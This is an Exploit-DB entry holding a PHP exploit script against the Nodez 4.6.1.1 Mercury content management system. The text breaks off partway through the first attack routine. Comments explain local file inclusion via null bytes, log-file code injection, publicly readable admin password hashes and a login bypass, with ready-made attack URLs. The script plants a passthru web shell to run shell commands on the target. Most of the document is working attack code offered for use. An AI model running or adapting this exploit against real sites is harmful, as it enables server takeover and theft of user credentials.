Exploit-DB #1588
Description: nodez 4.6.1.1 mercury - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-18
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Nodez 4.6.1.1 Mercury (possibly prior versions) multiple vulnerabilities\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

/*
   software:
   site: nodez.greentinted.com/
   description: Nodez - "An open source  (content management system), designed to
   be flexible, expandable, and as modular as possible." (ndr: maybe too modular ;) )

   short explaination:
   i) 'op','bop','ext','eop' arguments are not properly sanitized before to
   include files from local resources. You can include arbitrary files
   breaking the path through a null char (%00). Also you can inject
   php code in cache/ext/statman/log.gtdat file and launch commands
   including it, poc:

   http://[target]/[path]/index.php?node=system&op=extop&ext=statman&eop=/visitor&ip=[code]

   http://[target]/[path]/index.php?node=system&op=blockop&block=3&bop=../../../../cache/ext/statman/log.gtdat%00
   http://[target]/[path]/index.php?node=system&op=../../../cache/ext/statman/log.gtdat%00
   http://[target]/[path]/index.php?node=system&op=extop&ext=statman&eop=../../../../cache/ext/statman/log.gtdat%00
   http://[target]/[path]/index.php?node=system&op=extop&ext=../../cache/ext/statman/log.gtdat%00

   ii)
   to list all files on target system:
   http://[target]/[path_to_nodez]/countlines.php

   iii)last but not least, the most chritical issue:

   you can view all admin/users md5 password hashes, ex:

   http://[target]/[path_to_nodez]/cache/users/list.gtdat

   (if you do not believe it, give a look to the online demo:
   http://demo.opensourcecms.com/nodez/cache/users/list.gtdat)

   this because nodez do not provide an .htaccess file for users folder

   you don't need to force it to login as admin, you can
   craft a $_POST['upass'] value,ex:

   [admin_md5_hash][md5("rndval[numbers]")]

   this string should be calculated by a nodez javascript, but
   you can easily do by yourself (the second fragment is inside
   login page, something like "rndval[random_numbers]" )

   once you have an admin session cookie, you can create and edit php files
   (System options -> Toolbox -> Super Edit) and launch commands from them

   this exploit makes the dirty work for i) and iii)
                                                                              */
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path action cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to nodez\r\n";
echo "action:    1 - through arbitrary local inclusion\r\n";
echo "               (works with magic_quotes_gpc= Off)\r\n";
echo "           2 - through admin authentication bypass\r\n";
echo "               (no php.ini restriction, you need the\r\n";
echo "               list.gtdat file)\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /nodez/ 2 ls -la\r\n";
echo "php ".$argv[0]." localhost /nodez/ 1 cat ./cache/users/list.gtdat\r\n";
echo "php ".$argv[0]." localhost /nodez/ 1 cat ./cache/users/list.gtdat -p81\r\n";
echo "php ".$argv[0]." localhost /nodez/ 1 cat ./cache/users/list.gtdat -P1.1.1.1:80\r\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";

for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "action selected -> ".$action."\r\n";
if ($action=="1")
{

echo "[1] Injecting some code in log.gtdat file...\r\n";
$CODE ='<?php;ob_clean();echo(666);'; //notice the trick to work with short_open_tag off
$CODE.='passthru($_GET[cmd]);echo(666);die;?>';
$packet="GET ".$p."index.php?node=system&op=extop&ext=statman&eop=/visitor&ip=".$CODE." HTTP/1.0\r\n";
$packet.=